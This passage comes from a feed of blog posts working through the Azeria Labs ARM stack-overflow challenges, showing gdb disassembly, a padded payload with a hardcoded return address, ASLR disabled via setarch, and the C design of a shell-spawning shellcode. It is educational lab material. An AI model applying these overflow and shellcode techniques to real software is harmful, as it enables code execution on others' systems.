&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10500&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;getpath&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nv"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#0x50&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10504&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;getpath&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;44&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nv"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10508&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;getpath&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;48&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;bl&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;#gets@plt &amp;lt;gets@plt&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object style="display: block; margin-left: auto; margin-right: auto;" class='' align='middle' data='/img/arm/azeria-arm-challenges/before-bo.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The stack pointer &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;sp&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; after &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;getpath&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; returns will be at &lt;em&gt;4 bytes more&lt;/em&gt; than &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;fp&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; &lt;em&gt;before&lt;/em&gt; the return:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;gdb&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;x&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="nv"&gt;wx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;$&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; before getpath returns&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;xbefffb84:&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x00010578&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;; &amp;lt;-- ret address (to main)&lt;/span&gt;

&lt;span class="err"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;gdb&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;bt&lt;/span&gt;
&lt;span class="c1"&gt;#0  0x000104e8 in getpath ()&lt;/span&gt;
&lt;span class="c1"&gt;#1  0x00010578 in main ()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object style="display: block; margin-left: auto; margin-right: auto;" class='' align='middle' data='/img/arm/azeria-arm-challenges/after-bo.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h2 id="the-attack-without-dep-and-aslr"&gt;The attack (without DEP and ASLR)&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;egg.text&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is the same one used in the &lt;a href="/articles/2021/01/26/Smashing-ARM-Stack-for-Fun-Part-VI.html"&gt;part 6&lt;/a&gt;.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;pi@raspberrypi:~$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-ne&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x88\xfb\xff\xbe&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;exploit
pi@raspberrypi:~$&lt;span class="w"&gt; &lt;/span&gt;cat&lt;span class="w"&gt; &lt;/span&gt;egg.text&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;exploit

pi@raspberrypi:~$&lt;span class="w"&gt; &lt;/span&gt;rm&lt;span class="w"&gt; &lt;/span&gt;-f&lt;span class="w"&gt; &lt;/span&gt;pwned_proof

pi@raspberrypi:~$&lt;span class="w"&gt; &lt;/span&gt;setarch&lt;span class="w"&gt; &lt;/span&gt;linux32&lt;span class="w"&gt; &lt;/span&gt;--addr-no-randomize&lt;span class="w"&gt; &lt;/span&gt;/bin/bash

&lt;span class="o"&gt;(&lt;/span&gt;aslr&lt;span class="w"&gt; &lt;/span&gt;disabled&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;pi@raspberrypi:~$&lt;span class="w"&gt; &lt;/span&gt;cat&lt;span class="w"&gt; &lt;/span&gt;exploit&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;./stack6
&lt;span class="o"&gt;(&lt;/span&gt;aslr&lt;span class="w"&gt; &lt;/span&gt;disabled&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;pi@raspberrypi:~$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$?&lt;/span&gt;
&lt;span class="m"&gt;0&lt;/span&gt;

&lt;span class="o"&gt;(&lt;/span&gt;aslr&lt;span class="w"&gt; &lt;/span&gt;disabled&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;pi@raspberrypi:~$&lt;span class="w"&gt; &lt;/span&gt;cat&lt;span class="w"&gt; &lt;/span&gt;pwned_proof
pwn!
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="future-work"&gt;Future work&lt;/h2&gt;
&lt;p&gt;This is the last part of the &lt;a href="https://github.com/azeria-labs/ARM-challenges"&gt;ARM challenges&lt;/a&gt; from &lt;a href="https://azeria-labs.com"&gt;Azeria Labs&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;However there are a lot of things to explore, tweak and stretch.&lt;/p&gt;
&lt;p&gt;In the &lt;a href="/articles/2021/01/26/Smashing-ARM-Stack-for-Fun-Part-VI.html"&gt;part 6&lt;/a&gt; I coded a ARM egg, the next obvious step would be write the same egg in Thumb mode.&lt;/p&gt;
&lt;p&gt;So far, the egg was always loaded in the stack and executed there. In these modern days, the stack is &lt;strong&gt;not&lt;/strong&gt; executable so it would be cool to learn how to bypass this restriction (known as Data Execution Prevention &lt;em&gt;DEP&lt;/em&gt; or Write-xor-Execute &lt;em&gt;W+E&lt;/em&gt;).&lt;/p&gt;
&lt;p&gt;Since &lt;a href="/articles/2021/01/20/Smashing-ARM-Stack-for-Fun-Part-V.html"&gt;part 5&lt;/a&gt; we were &lt;em&gt;hardcoding&lt;/em&gt; addresses. &lt;em&gt;Shame on me&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Address Space Layout Randomization &lt;em&gt;(ASLR)&lt;/em&gt; is a well established feature of modern OS to randomize the &lt;em&gt;base address&lt;/em&gt; of the loaded libraries. Bypassing techniques exist since at least 2007 so it is a definitely topic to learn.&lt;/p&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2021/02/04/Smashing-ARM-Stack-for-Fun-Part-VII.html" rel="alternate" type="text/html" title="Smashing ARM Stack for Fun - Part VII"/>
    <category term="reversing" label="reversing"/>
    <category term="exploiting" label="exploiting"/>
    <category term="ARM" label="ARM"/>
    <category term="iasm" label="iasm"/>
    <category term="azeria-labs" label="azeria-labs"/>
    <category term="egg" label="egg"/>
    <category term="shellcode" label="shellcode"/>
    <category term="PIC" label="PIC"/>
    <published>2021-02-04T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2021/01/26/Smashing-ARM-Stack-for-Fun-Part-VI.html</id>
    <title>Smashing ARM Stack for Fun - Part VI</title>
    <updated>2021-01-26T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;We have the same vulnerability than we have in &lt;a href="/articles/2021/01/14/Smashing-ARM-Stack-for-Fun-Part-V.html"&gt;stack4&lt;/a&gt; but this time we will make our own egg/shellcode.&lt;!--more--&gt;&lt;/p&gt;
&lt;h2 id="same-vuln"&gt;Same vuln&lt;/h2&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;pwndbg&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;pdisass&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;►&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1041c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="nv"&gt;push&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;lr&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10420&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nv"&gt;add&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#4&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10424&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nv"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#0x48&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10428&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;str&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#-0x48]&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1042c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;str&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#-0x4c]&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10430&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#0x44&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10434&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10438&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;bl&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;#gets@plt &amp;lt;gets@plt&amp;gt;&lt;/span&gt;

&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1043c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10440&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;36&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#4&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10444&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;pop&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;pc&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The plan is to overflow the buffer with 0x44 bytes of padding, then 4 bytes with the first return address.&lt;/p&gt;
&lt;p&gt;Nothing new. But the fun is just about to begin…&lt;/p&gt;
&lt;h2 id="planning-the-eggexploit"&gt;Planning the egg/exploit&lt;/h2&gt;
&lt;p&gt;We want something standard but slightly fancy:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;spawn a shell an run an arbitrary command&lt;/li&gt;
&lt;li&gt;wait for the spawned process to finish&lt;/li&gt;
&lt;li&gt;exit the program&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This translates to the following C code:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;unistd.h&amp;gt;&lt;/span&gt;
&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;pid_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;child&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fork&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;child&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// child&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;/bin/bash&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;-c&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;echo &amp;#39;pwn!&amp;#39; &amp;gt; pwned_proof&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;envp&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;execve&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;envp&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;child&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;-1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// parent&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;wait4&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;child&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// catch all exit&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;exit_group&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The last &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;exit_group&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is a catch all: if &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;fork&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; fails or &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;execve&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; fails we want to have a deterministic output. The same for the parent process after &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;wait4&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id="syscalls"&gt;Syscalls&lt;/h2&gt;
